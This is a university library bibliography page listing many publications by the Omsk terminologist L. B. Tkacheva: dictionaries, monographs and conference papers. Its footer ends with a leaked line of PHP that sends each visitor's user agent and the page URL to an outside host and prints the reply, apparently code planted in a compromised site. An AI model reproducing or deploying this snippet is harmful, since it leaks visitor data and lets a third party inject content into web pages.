156. Проблемы ускорения внедрения идей и научно-технических разработок в народное хозяйство / Л. Б. Ткачева // Творчество-89 : науч.-практ. конф., 22 июня / ОмПИ.   ̶   Омск, 1989.  ̶  С. 52.

157. Происхождение и образование авиационных терминов в английском языке / Л. Б. Ткачева : автореф. дис. ... канд. филол. наук.  ̶  Л. : Изд-во ЛГПИ,  1973.  ̶   32 с.

158. Происхождение и образование авиационных терминов в английском языке / Л. Б. Ткачева : дис. ... канд. филол. наук.  ̶  Омск,  1973.  ̶   168 с.

159.  Протестантизм. Общество. Культура : материалы  Междунар. науч. конф. «Протестантизм в Сибири»,  26-28 мая / редкол. : Л. М. Дмитриева  [и др.].   ̶    Омск : Полиграф, 1998.  ̶  196 с.

160. Пути образования авиационных терминов в английском языке / Л. Б. Ткачева // Вопросы филологии : ученые записки / ОГПИ.  ̶  Омск, 1970.   ̶   Вып. 60.  ̶  С. 41-47.

161. Пути  специализации при подготовке референтов-переводчиков / Л. Б. Ткачева, Г. А. Кислицина // Психолого-педагогические и лингвистические проблемы  исследования  текста : материалы  республ. науч.-техн. конф., 26-29 июня.  ̶  Пермь, 1984.  ̶  С. 225-226.

162. Пути становления космической терминологии / Л. Б. Ткачева // Проблемы социолингвистики в английском языке.  ̶  Омск, 1979.  ̶  С. 48-55.

163. Пути формирования терминологической культуры / Л. Б. Ткачева // Индустриальные тенденции современной эпохи и гуманитарное образование : тез. докл. Междунар. науч.- практ. конф.  ̶  Омск, 1992.  ̶  С. 47-48.

164. Радио- и электронные устройства  : словарь / сост. Л. Б. Ткачева ; ОТЦ.  ̶  Омск, 1995.  ̶  25 с.

165. Результаты сравнительного изучения терминологии в со- циолингвистическом аспекте / Л. Б. Ткачева = The Results  of the Comparative Study of Terminology // Terminology and Sociolinguistics .  ̶  Manchester, 1987.  ̶  С. 110-111.

166.  Роль внутриотраслевой синонимии в смысловом восприятии научно-технического текста / Л. Б. Ткачева // Психолого-педагогические и лингвистические проблемы исследования текста : тез. докл. республ. конф.  ̶  Пермь, 1984.  ̶  С. 159-160.

167. Роль интернационализации и транснационализации в интеграционных процессах / Л. Б. Ткачева // Высшее профессиональное образование в условиях международной интеграции : материалы Междунар. науч.-метод. конф.  ̶  Омск, 2000.  ̶ С. 14-15.

168. Роль терминологизации образовательного процесса в подготовке специалистов и развитии науки, техники и производственного потенциала. Методико-педагогическая разработка / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2010.  ̶  62 с.

169. Роль терминологии в извлечении научно-технической информации / Л. Б. Ткачева // Проблемы научно-технического перевода и извлечении информации из зарубежных источников : тез. докл. республ. конф. .  ̶  Ташкент, 1990.  ̶  С. 136-137.

170. Роль терминологии в процессе коммуникации / Л. Б. Ткачева // Межкультурная коммуникация : материалы регион. науч. конф.  ̶  Омск, 1999.  ̶  С. 78-79.

171. Роль терминологии в развитии науки и техники / Л. Б. Ткачева // Д. И. Менделеев и Сибирь : история и современность : межрегион. Всерос. Менделеевские чтения, 15-17 ноября.  ̶  Тобольск, 1999.  ̶  С. 79-80.

172. Роль терминологии в сфере интеллектуальной собственности /Л. Б. Ткачева // Сибирский торгово-экономический журнал.  ̶  2006.  ̶  № 3.  ̶  С. 113-117.

173. Роль экстралингвистической мотивированности терминов в решении проблемы адекватности перевода / Л. Б. Ткачева // Теория и практика перевода научно-технической литературы : тез. докл. науч.-практ. конф.  ̶   Новосибирск, 1983.  ̶   С. 17-18.

174. Россия и Восток : проблемы взаимодействия / Л. Б. Ткачева // материалы 4 Междунар. науч. конф. «Россия и Восток : проблемы взаимодействия».  ̶  Омск, 1997.  ̶  С. 259.

175. Русские эквиваленты английских терминов по иммунологии / Л. Б. Ткачева // Новое в медицине : сб. науч. тр / ОмГМИ.  ̶  Омск, 1985.  ̶  С. 23-32.

176. Русско-английские термины по экологии / ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2006 .  ̶  104 с.

177. Русско-немецкий валютно-кредитный и финансовый словарь = Russisch-deutsches Wahrungs-, Kredit und Finanzworterbuch / Л. А. Берсенева, Е. В. Мецкер ; рук. Работы Л. Б. Ткачева ; ОмГТУ, Ом. терминол. центр.  ̶  Омск, 2005.  ̶  212 с.

178. С профессионалами надо говорить на профессиональном языке / Л. Б. Ткачева // Деловой журнал «100%».   ̶  2008.   ̶  № 23.   ̶  С. 16-17.

179. Сборник текстов и упражнений по усвоению английских терминов : учеб.-метод. пособие для студентов, обучающихся по специальности «Авиаракетостроение» / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2007.  ̶  40 с.

180. Сибирский марафон : словарь / сост. Л. Б. Ткачева  [и др.] ; ОТЦ.  ̶  Омск, 1995.  ̶  32 с.

181. Словарь английских терминов по конструированию танков / Л. Б. Ткачева, В. М. Бутаков.   ̶  Омск : Изд-во ОмГТУ, 2006.  ̶  49 с.

182. Словарь англо – русских терминов по банкам финансовой деятельности (для студентов, аспирантов и специалистов) / Л. Б. Ткачева.  ̶  Омск : ОмГТУ, 1996.  ̶  33 с.

183. Cловарь англо-русских терминов и сокращений в телексах, телеграммах и письмах (для студентов, аспирантов, специалистов) / Л. Б. Ткачева, А. И. Чайка.  ̶  Омск : Изд-во ОмГТУ, 1995.  ̶  33 с.

184. Словарь англо – русских терминов по летательным аппаратам (для студентов, аспирантов и специалистов)  / сост. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2004.  ̶  36 с.

185. Словарь англо – русских терминов по макро- и микроэкономике (для студентов, аспирантов и специалистов)  / сост. Л. Б. Ткачева, Л. А. Родина, А. А. Родин.  ̶  Омск : Изд-во ОмГТУ, 1995.  ̶  25 с.

186. Словарь англо – русских терминов по менеджменту : в 2 ч. (для студентов, аспирантов, специалистов) / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 1994.   ̶  168 с.

187. Словарь англо-русских терминов Internet / ред. Л. Б. Ткачева ; ОмТЕРМ.  ̶  Омск, 2002.  ̶  62 с.

188. Словарь англо-русских терминов для студентов, обучающихся по специальности «Танкостроение» : учеб.-метод. пособие / Л. Б. Ткачева, Е. М. Буянова.  ̶  Омск : Изд-во ОмГТУ, 2007.  ̶  49 с.

189. Словарь англо-русских терминов по авиационным и ракетным двигателям (для студентов, аспирантов и специалистов) / сост. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2003.  ̶   33 с.

190. Словарь англо-русских терминов по программированию (для специалистов, аспирантов, студентов) / Л. Б. Ткачева, Л. К. Кондратюкова, Б. К. Король, В. И. Потапов.  ̶   М. : Информ-сервис, 1991.  ̶   55 с.

191. Словарь или терминологический словник? / Л. Б. Ткачева // Подготовка и использование научно-технических словарей в системе информационного обеспечения : тез. Всесоюз.  конф.  ̶  М., 1986.  ̶   С. 32-34.

192. Совершенствование перевода научно-технической литературы и документации / Л. Б. Ткачева // Тез. докл. Всесоюз. конф., 30 сент. – 2 окт. 1982.  ̶  М., 1982.  ̶  С. 10.

193. Совместные предприятия : англо-рус. словарь / Л. Б. Ткачева.  ̶  Омск, 1994.  ̶  82 с.

194. Соотношение национального и интернационального в терминологии / Л. Б. Ткачева  // Проблемы научно-технической терминологии : материалы зон. конф.  ̶  Владивосток, 1985.  ̶  С. 28-32.

195. Соотношение национального и интернационального в терминологии / Л. Б. Ткачева  // Проблемы научно-технической терминологии : сб. науч. тр.   ̶  Владивосток, 1987.  ̶  С. 31-35. 

196. Соотношение национальных, интернациональных и транснациональных терминов в специальных языках =The Correlation of National  International and Transnational Terms in Special Language / L. B. Tkacheva // NEOTERM. World Specialized Terminology.  ̶  1999.  ̶  № 35/36.  ̶  P. 17-21.

197. Сопоставительное исследование терминосистем и проблемы упорядочения терминологии / Л. Б. Ткачева // Основные направления развития и совершенствования работ по стандартизации научно-технической терминологии в 11 пятилетке : тез. Всесоюз. конф.  ̶  М., 1983.  ̶  С. 105-107.

198. Социолингвистика и терминология / Л. Б. Ткачева // Теоретические проблемы научно-технической терминологии и практики перевода : тез. докл. зон. конф. / ОмПИ.  ̶  Омск, 1985.  ̶  С. 140-141. 

199. Социолингвистическая обусловленность формирования терминосистем / Л. Б. Ткачева // Научно-техническая терминология.  ̶  1986.  ̶  № 6.  ̶  С. 11-14. 

200. Социолингвистические аспекты сравнительного изучения терминологии = Sociolinguistic Aspects of the Comparative Study of Terminology / L. B. Tkacheva // International Conference of  Terminology : Abstracts of Papers.   ̶  Luxemburg, 1984.  ̶  P. 29. 

201. Социолингвистические предпосылки образования ономасионных терминов / Л. Б. Ткачева // Словообразование и его место в курсе обучения иностранному языку : сб. науч. тр.  ̶  Владивосток, 1983.  ̶  С. 69-76.

202. Социолингвистические предпосылки формирования терминосистем (на примере подъязыка космонавтики) / Л. Б. Ткачева // Научно-техническая терминология.  ̶  1986.  ̶  № 6.  ̶  С. 11-14. 

203. Социолингвистический подход к исследованию терминологии = Socilinguistic approach to Investigation of Terminology / L. B. Tkacheva // Russian Terminology Science (1992-2002) : материалы Междунар. конф.  ̶  Vienna, 2004.  ̶   P. 345-368.

204. Социолингвистическое исследование терминологии  ̶   один из путей интенсификации  процесса  перевода / Л. Б. Ткачева // Проблемы перевода научно-технической литературы : тез. докл. к обл. семинару, 14-15 февраля.  ̶   Пенза, 1983.  ̶   С. 30-31.

205. Становление и развитие английской туристской терминологии : монография / О. В Даниленко, Л. Б. Ткачева ; ОмГТУ ; Сиб. гос. ун-т физ. культуры и спорта.  ̶  Омск : Изд-во ОмГТУ, 2009.  ̶  117 с.

206. Становление и развитие терминосистем авиации и астронавтики в английском языке : монография / Л. Б. Ткачева.  ̶  Омск : ИЦ «Омский научный вестник», 2012.  ̶  136 с.

207. Становление и развитие терминосистем в английском и немецком языках : коллектив. монография : в 6 т. / под ред Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Ред. журн. «Омский научный вестник», 2006.  ̶

     Т. 1.   ̶  2006.  ̶  116 с.

     Т. 2.   ̶  2006.  ̶  80 с.

     Т. 3.   ̶  2006.  ̶  102 с.

     Т. 4.  ̶  2011.  ̶  126 с.

208. Становление, развитие и функционирование терминосистем в социолингвистическом освещении : реклам.-техн. описание НИР / рук. работы Л. Б. Ткачева ; ОмГТУ.  ̶  ГР 01960005032 ; инв. № 02.960. 0 04811.  ̶   Омск, 1996.  ̶  16 с.

209. Теоретические проблемы научно-технической терминологии и практика перевода : тез. докл. зонал. науч. конф., 4-5 июня /  редкол. : Л. Б. Ткачева (отв. ред.) [и др.].  ̶  Омск : Изд-во ОмПИ, 1985.  ̶  175 с.

210.  Терминоведение в условиях экономического сотрудничества / Л. Б. Ткачева // Ресурсосберегающие технологии. Проблемы высшего образования : тез. докл. 30 науч. конф.  ̶  Омск, 1994.  ̶  Кн. 1.  ̶  С. 87.

211. Терминоведческие проблемы редактирования / Л. Б. Ткачева  // Научно-техническая терминология.   ̶  1987.  ̶  № 11.  ̶   С. 14-16. 

212. Терминологизация образовательного процесса и его реализация на всех уровнях  ̶  залог успешной профессиональной  подготовки на всех ступенях обучения. Инновационный проект / Л. Б. Ткачева // Профессиональная коммуникация : вербальные и когнитивные аспекты : сб. тез. докл. Междунар. науч.-практ. конф.   ̶  М., 2009.   ̶  С. 28-29.

213. Терминологизация образовательного процесса ̶ основной путь достижения преемственности в обучении / Л. Б. Ткачева // Образование  Омской области.   ̶  2005.  ̶  № 3(6).  ̶   С. 37-38.

214. Терминологические аспекты внешнеэкономической деятельности регионов / Л. Б. Ткачева // Стратегические направления регионального развития РФ : материалы межрегион. Всерос. науч.-практ. конф., 16-18 ноября.  ̶  Омск, 1999.  ̶  С. 201-202.

215. Терминологические аспекты евроазиатских контактов / Л. Б. Ткачева // Россия и Восток : филология и философия  : материалы  4 Междунар. науч. конф.  ̶  Омск, 1997.  ̶  С. 111-114.

216. Терминологические аспекты инновационных технологий / Л. Б. Ткачева // Динамика систем, механизмов и машин : материалы 5 науч.-техн. конф., 16-18 ноября : в 4 кн. / редкол. : А. П. Моргунов [и др.] ; ОмГТУ.  ̶  Омск, 2004.  ̶  Кн. 4.  ̶  С. 351-353.

217. Терминологические аспекты подготовки будущих специалистов / Л. Б. Ткачева // Совершенствование форм и методов управления качеством учебного процесса : сб. материалов  гор. науч.-метод. конф., 22-25 января / редкол. : В. И. Потапов  [и др.].  ̶  Омск, 2002.  ̶  С. 225-226.

218. Терминологические знания и профессиональная компетентность  ̶  основа инновационных технологий / Л. Б. Ткачева // Инфраструктура инновационной деятельности : тез. докл. науч.-практ. конф., 4 декабря.  ̶  Омск, 2008.  ̶  С. 46-49.

219. Терминологические предпосылки реализации внешнеэкономических программ ОПК / Л. Б. Ткачева // Развитие оборонно-промышленного комплекса на современном этапе : материалы 2 Междунар. науч.- техн. конф. / ОмГТУ.  ̶  Омск, 2003.  ̶  Ч. 1.  ̶   С. 188-189.

220. Терминологические  проблемы  международных  и внешнеэкономических связей и пути их решения / Л. Б. Ткачева // Роль университетов в развитии международных и внешнеэкономических связей субъектов Российской Федерации : материалы Междунар. науч.-практ. конф..  ̶  Омск, 2007.  ̶  С. 256-258.

221. Терминологические  словари и данные банков (Современное состояние и перспективы) = Terminogical Dictionaries and Data Banks (Present State and Perspectives) / L. B. Tkacheva, S. D. Shelov // The 14-th European Symposium on Language for Special Purpose : Communication, Culture, Knowlage  ̶  Surrey University, 2003.  ̶  P. 61-62.

222. Терминологические словари и данные банков (Современное состояние и перспективы) = Теrminogical Dictionaries and Data Banks (Present State and Perspectives) / L. B. Tkacheva, S.D. Shelov // Terminology Science and Reseach.  ̶  ITTF Gournal.  ̶  2004.  ̶  V. 15.  ̶  P. 62-78.

223. Терминологическое выражение объектов интеллектуальной собственности / Л. Б. Ткачева // Интеллектуальная собственность : правовые и социально-экономические аспекты : материалы Всерос. науч.-практ. конф., 24-26 апреля.  ̶  Омск, 2008.  ̶  С. 135-138.

224. Терминологическое обеспечение информационных процессов / Л. Б. Ткачева // Динамика систем, механизмов и машин : материалы 4 Междунар. науч.-техн. конф., посвящ. 60-летию ОмГТУ.  ̶  Омск, 2002.  ̶   Кн. 3.  ̶  С. 212-213.

225. Терминологическое обеспечение научно-технического прогресса : тез. докл. зон. науч.-практ. конф., 30 июня - 1 июля / редкол.:  Л. Б. Ткачева (отв. ред.) [и др.].  ̶  Омск : Изд-во ОмПИ, 1988.  ̶  184 с.

226. Терминологическое  обозначение  глобальных процессов =   Terminological Supply of Global Processes / L. B. Tkacheva // NEOTERM.  ̶  2001.  ̶  № 39/40.  ̶  P. 15-19.

227. Терминологическое отражение новых технологий / Л. Б. Ткачева // Омский научный вестник.  ̶  2001.  ̶  Вып. 15.  ̶  С. 13-14.

228. Терминологическую культуру в учебный процесс / Л. Б. Ткачева // Совершенствование форм и методов управления качеством учебного процесса : материалы науч.-метод. конф., 10-13 апреля.  ̶  Омск, 2001. ̶  С. 343-244.

229. Терминология   ̶  единственный путь к международному сотрудничеству / Л. Б. Ткачёва // Терминология в международном сотрудничестве : материалы  Междунар. науч. конф., 22-23 июня / ОмГТУ, Ом. терминол. центр.   ̶  Омск, 2006.  ̶  С. 165-169.

230.  Терминология  ̶  основная проблема 21 века / Л. Б. Ткачева // Омские социально-гуманитарные чтения  ̶  2008 : материалы 1 регион. науч.-практ. конф.,  28-29 апреля, 2008 г.  ̶  Омск, 2008.  ̶  С. 13-15.

231. Терминология   ̶  инструмент освоения специальности / Л. Б. Ткачева // Вопросы исследования и преподавания иностранных языков : межвуз. темат. сб. науч. тр.  ̶  Омск, 2001.  ̶  Вып. 3.  ̶  С. 139-142.

232. Терминология  ̶  путь к взаимопониманию и сотрудничеству / Л. Б. Ткачева // Терминология и перевод в ХХ1 веке : материалы Междунар. науч. конф., 26-28 июня / редкол. : Л. Б. Ткачева (отв. ред.) [и др.].  ̶  Омск, 2002.  ̶  С. 170-176.

233. Терминология  ̶  путь к знаниям и взаимопониманию = Terminology is a Way to Knowledge and Mutual Understanding / L. B. Tkacheva // Worldwide Flow on Knowledge though Terminology : processing of 4-th Congress of GOUNT and 1-st Symposium of JFTB.  ̶  Warsaw, 1995.  ̶  № 27/28.  ̶  P. 42-46.

234. Терминология в международном бизнесе = Terminology in International Business / L. B. Tkacheva // « Life  ̶ Long Learning in Business and Industry Information and Communicative Terminology  ICT  Proceedings of 13- th  International Conferences, 5-7 July  2001.  ̶   Helden,  2002.  ̶  P. 245-250.

235. Терминология в международном бизнесе = Terminology in International Business / Л. Б. Ткачева // 13- th International Conference « Life  ̶ Long Learning in Business and Industry Information and Communicative Terminology as Vehicle and Tool»,  5 -7 July 2001. ̶  Halden, 2001.  ̶  P. 21.

236. Терминология в настоящем и будущем (о деятельности Омского терминологического центра) / Л. Б. Ткачева // Synergies Russie.  ̶  2001.  ̶  С. 54-60.

237. Терминология в развитии научно-технического и оборонно-промышленного комплексов / Л. Б. Ткачева // Многоцелевые гусеничные и колесные машины : разработка, производство, модернизация и эксплуатация (Броня-2006) : материалы 3 межрегион. науч-практ. конф.  ̶  Омск, 2006.  ̶  С. 187-190.

238. Терминология и внешнеэкономические связи / Л. Б. Ткачева // Международная коммуникация : материалы Междунар. науч. конф. / ОмГУ.  ̶ Омск, 2000.  ̶  С. 100-101.

239. Терминология и всемирный прогресс / Л. Б. Ткачева = Terminology and World ̶ Wide Progress  ( World Forum for Rapprochment of Nations  Races and Religions through Terminology  Providings of the 2- nd Congress of International  Federetion of Terminologe  Bank & World  Forum, оctober 25).   ̶   // NEOTERM.  ̶  1997.  ̶   № 31/32.  ̶  P. 35-38.

240. Терминология и информационные процессы / Л. Б. Ткачева // Динамика систем, механизмов и машин : материалы 3 Междунар. науч.-техн. конф., 26-28 окт. / ОмГТУ.  ̶  Омск, 1999.  ̶  С. 471-472.

241. Терминология и международное сотрудничество / Л. Б. Ткачева // К культуре мира ̶ через диалог религий, диалог цивилизаций : в 2 т. материалы Междунар. науч. конф., 3-5 окт. / ОмГТУ.  ̶  Омск, 2000.  ̶  Т. 2.  ̶  С. 106-109.

242. Терминология и перевод английской научно-технической литературы : учеб. пособие / Л. Б. Ткачева, Л. К. Кондратюкова, Л. И. Воскресенская.  ̶  Омск : Изд-во ОмГТУ, 2006.  ̶  306 с.

243. Терминология и перевод в ХХ1 веке : материалы Междунар. науч. конф., 26-28 июня / редкол. : Л. Б. Ткачева (отв. ред.) [и др.].  ̶  Омск : Изд-во ОмГТУ, 2002.  ̶  221 с.

244. Терминология и перевод в политическом, экономическом и культурном сотрудничестве / Л. Б. Ткачева // Тезисы докладов Международного круглого  стола,   27-28 июня.  ̶  Омск, 1991.  ̶  С. 64.

245. Терминология и современная эпоха / Л. Б. Ткачева = La Terminologie et L époque actuelle // Sinergie - Russie.  ̶   2003.  ̶  № 2.  ̶  С. 92-99.

246. Терминология как объект социолингвистики / Л. Б. Ткачева // Научно-техническая терминология.  ̶  2001.  ̶  № 3 .  ̶  С. 17-18.

247. Терминология как основной объект научных исследований в современных условиях / Л. Б. Ткачева // Омские социально-гуманитарные чтения – 2010 : материалы 3 межрегион. науч.-практ. конф., 18-19 марта / Ом. отд-ние Рос. социол. о-ва, ОмГТУ.  ̶  Омск, 2010.  ̶  С. 308-310.

248. Терминология  как  результат  взаимообусловленности филологических и технических наук и ее востребованность в современных условиях / Л. Б. Ткачева // Омский научный вестник. Сер. Общество. История. Современность. ̶  2009.  ̶  № 2(76).  ̶  С. 139-141.

249. Терминообразующие  элементы  в  английском   подъязыке  гидрологии / Л. Б. Ткачева // Водоканал, Омск-98 : материалы Междунар. науч. конф. / ОмГТУ.  ̶  Омск, 1998.  ̶  С. 154-156.

250. Тетрадь новых терминов. Англо-русские термины по организации и управлению производством / Л. Б. Ткачева [и др.].  ̶   М. : ВЦП, 1986.  ̶  99 с.

251. Унификация терминологии ̶  путь ускорения информационных процессов / Л. Б. Ткачева // Динамика систем, механизмов и машин : тез. докл. 2  Междунар. науч.-техн. конф., посвящ. 55-летию ОмГТУ.  ̶  Омск, 1997.  ̶  Ч. 3.  ̶   С. 92.

252. Управление производством : англо-рус. словарь / сост. : Л. Б. Ткачева, В. Л. Зубакин.  ̶  Омск, 1994.  ̶  Ч. 1.  ̶  72 с. ; Ч. 2.  ̶  67 с.

253. Усвоение английских терминов специальностей 0539 и 0540 : метод. указания / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмПИ, 1987.  ̶  36 с.

254. Условия оптимизации процесса обучения переводу научно-технической информации и документации в вузе / Л. Б. Ткачева  // Вопросы оптимизации процесса обучения в средней и высшей школе : тез. докл. науч.- практ. конф. / ОмПИ.  ̶  Омск, 1985.  ̶  С. 78-80. 

255. Устройства приемные магистральной радиосвязи. Четырехязычное терминологическое приложение / Л. Б. Ткаченко [и др.].  ̶   М. : Госстандарт, 1985.  ̶  32 с.

256. Функциональные особенности лексики английского языка / Л. Б. Ткачева.  ̶  Омск : Изд-во ОГПИ, 1986.  ̶  112 с.

257. Эвристика для компьютеров = Heuristics for Computers : словарь / Л. Б. Ткачёва // NEOTERM. World Specialized Terminology.  ̶  1996.  ̶  № 29/30.  ̶  С. 80-86.

258. Эвристика для ЭВМ / сост. : Р. И. Комарова, Л. Б. Ткачева.  ̶  Омск : ОТЦ, 1995.  ̶  60 с.

259. Экстралингвистическая обусловленность лингвистических процессов в терминологии / Л. Б. Ткачева // Отраслевая терминология и ее экстралингвистическая  обусловленность.  ̶  Воронеж, 1986.  ̶  С. 3-14.

260. Экстралингвистические и внутрилингвистические закономерности терминосистем и их роль в процессе поиска эквивалентов / Л. Б. Ткачева // Актуальные проблемы перевода научно-технической литературы : тез.  докл. зон. конф.  ̶  Воронеж, 1985.  ̶  С.11-16.

261. Я  ̶  будущий сыщик : учеб. пособие по английскому языку для слушателей 1 курса / Л. Б. Ткачева.  ̶  Омск : Изд-во ОВШМ, 1974.  ̶  132 с.

262. Я всю жизнь борюсь и доказываю / Л. Б. Ткачева // Вся губерния.  ̶  2002.  ̶  11 января.  ̶  С. 3.

263.  Automobile and Road : учеб. пособие : в 3 т./ соавт. и гл. ред. : Л. Б. Ткачева, Г. Б. Приходько.  ̶  Омск, 2012.  ̶  96 с.

264. 22 Years of Omsk Terminology Centre : its Activity, Achievements and Perspectives / L. B. Tkacheva // NEOTERM.   ̶  2000.  ̶  № 37/38.  ̶  P. 18-23.

265. English-Russian Terms of Custom-House / L. B. Tkacheva.  ̶  Омск : ОмГТУ, 2000.  ̶  63 с.

266. English-Russian Terms of Hotel Business / L. B. Tkacheva.  ̶  Omsk : ОмГТУ, 2002.  ̶  66 с.

267.  English-Russian Terms of Internet / L. B. Tkacheva, A. A. Epanchintzev.  ̶  Omsk : ОмГТУ, 2002.  ̶  62 с.

268.  Heuristics for Computers / L. B. Tkacheva // NEOTERM. World Specialized Terminology.  ̶  1996.  ̶  29/30.  ̶  P. 80-86.

269.  La Terminologie et L´epoque actuelle / L. B. Tkacheva // Signergie-Russie.  ̶  2003.  ̶  № 2.  ̶  P. 92-99.

270.  OMTERM,  Ist Theoretical and Praktical Activity / L. B. Tkacheva // Gournal of the International Institute for Terminology Researche  II TF // Terminology Science and Researche : Term. Net.  ̶  Wren, 1981.  ̶  Vol. 1, № 1-2.  ̶  P. 65-77.

271.  Peculiar Feature of Science and Technique Terminology un Sociolinguestic Stude / L. B. Tkacheva // NEOTERM.  ̶  1980.  ̶  № 5-8.  ̶ ̶  P. 89-102.

272. Perspectives of Terminology Devolopment in the XX1 Century // L. B. Tkacheva // NEOTERM.  ̶  2004.  ̶  № 4/5.  ̶  P. 17-21.

273. Sociolinguistic approach to Investigation of Terminology / L. B. Tkacheva // Russian Terminology Science (1992-2002).  ̶  Vienna, 2004.  ̶  P. 345-368.

274. Sociolinguistic Aspects of the Comparative Sudy of Terminology / L. B. Tkacheva // Abstracts of Papers International  Conference of Terminology  ̶  Luxemburg, 1984.  ̶  P. 29.

275. Some Prognoses in Development of Terminology / L. B. Tkacheva // Language for Special Purposes : Perspectives for the New Millenium. ̶  Gotingen,  2001.  ̶  Vol. 1.  ̶   P. 202- 206.

276. Some Tendencus in the Development of Terminology of the International devel / L. B. Tkacheva // NEOTERM.  ̶  1991.  ̶  № 13/16.  ̶  P. 122-123.

277.  The Interaction of Sociolinguistics and Terminography / L. B. Tkacheva // LSP  Indentity and Interface Research  Knowledge and Society Procudings of the 11-th Europenan Symposium on Language for Special Purposes.  ̶  Copenhagen, 1997.  ̶   Vol. 1.  ̶   P. 420-424.

278.  The Problems of Terminology in International Cooperation / L. B. Tkacheva // LSP  2001 «Porta Scientiale», 20-24 August.  ̶  Vaasa University, 2001.  ̶  P. 157.

279.  The Results of Comparative Study of of Terminology in Sociolinguistic Aspect  / L. B. Tkachev // Terminology  and  Sociolinguistics.  ̶  Manchester,  1987.  ̶  P. 110-111.

280. The Role of Terminology in the Rapprochement of Nations / L. B. Tkacheva  // NEOTERM.  ̶  1999.  ̶   № 33/34.  ̶  P. 20-24.

281.  Terminological Supply of Global Processes / L. B. Tkacheva  // NEOTERM  World specialized Terminology.  ̶  2001.  ̶  № 39/40.  ̶  P. 15-19.

282.  Terminology and World-Wide Progress. World Forum for Rapprochemtnt of Nations Races fnd Religions through Terminology / L. B. Tkacheva  (Providings of the 2-nd congress of international Federation of terminology Bank,  оctober 25) // Neoterm.  ̶  1997.  ̶  №  31/32.  ̶   P. 35-38.

283.  Terminology  Dictionaries and Data Benks : Present State and Perspectives / L. B. Tkacheva  // The 14-th European Symposium on Langua ge for Special Purpose Communication, Culture.  ̶  Knowelage, 2003.  ̶  P. 61-62.

284.  Terminology  Dictionaries and Data Benks : Present State and Perspectives / L. B. Tkacheva, Shelov S. D.  // The  Theoretical Foundations of Terminology Comparison between Eastern Eurohe and Western Countries : Proceedings of the Colloquium.  ̶  Surrey, Guilford, UK.  ̶  Wurzburg : Ergon, 2006.  ̶  P. 163-180.

285.  Terminology  du Present  et futur (activites du Centre Terminologique d´Omsk /  L. B. Tkacheva // Synergies Russian.  ̶  2001.  ̶  № 1.  ̶  P. 52-58.

286.  Terminology in Internation Business / L. B. Tkacheva  // Life ̶ Long Learning in Business and Industry. Information and Communicative Terminology (ICT) Proceedings of 13  Conference, 5-7 July 2001.  ̶ Halden ; Hogskolen ; Ostfold,  2002.   ̶  P. 245-250.

287.  Terminology is a Way to Knowiedge and Mutual Understanding / L. B. Tkacheva  // NEOTERM.  ̶  1995.  ̶  № 28.  ̶  P. 42-46.

288.  To World Unity Through Terminology / L. B. Tkacheva // The 14-th European Symposium on Language for Special Purpose Communication, Culture,  Knowelage-Surrey.  ̶  Warsaw, 2003.  ̶  P. 41- 42.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2808 - 16.02.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.73 с.11 запросов, 0.70c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;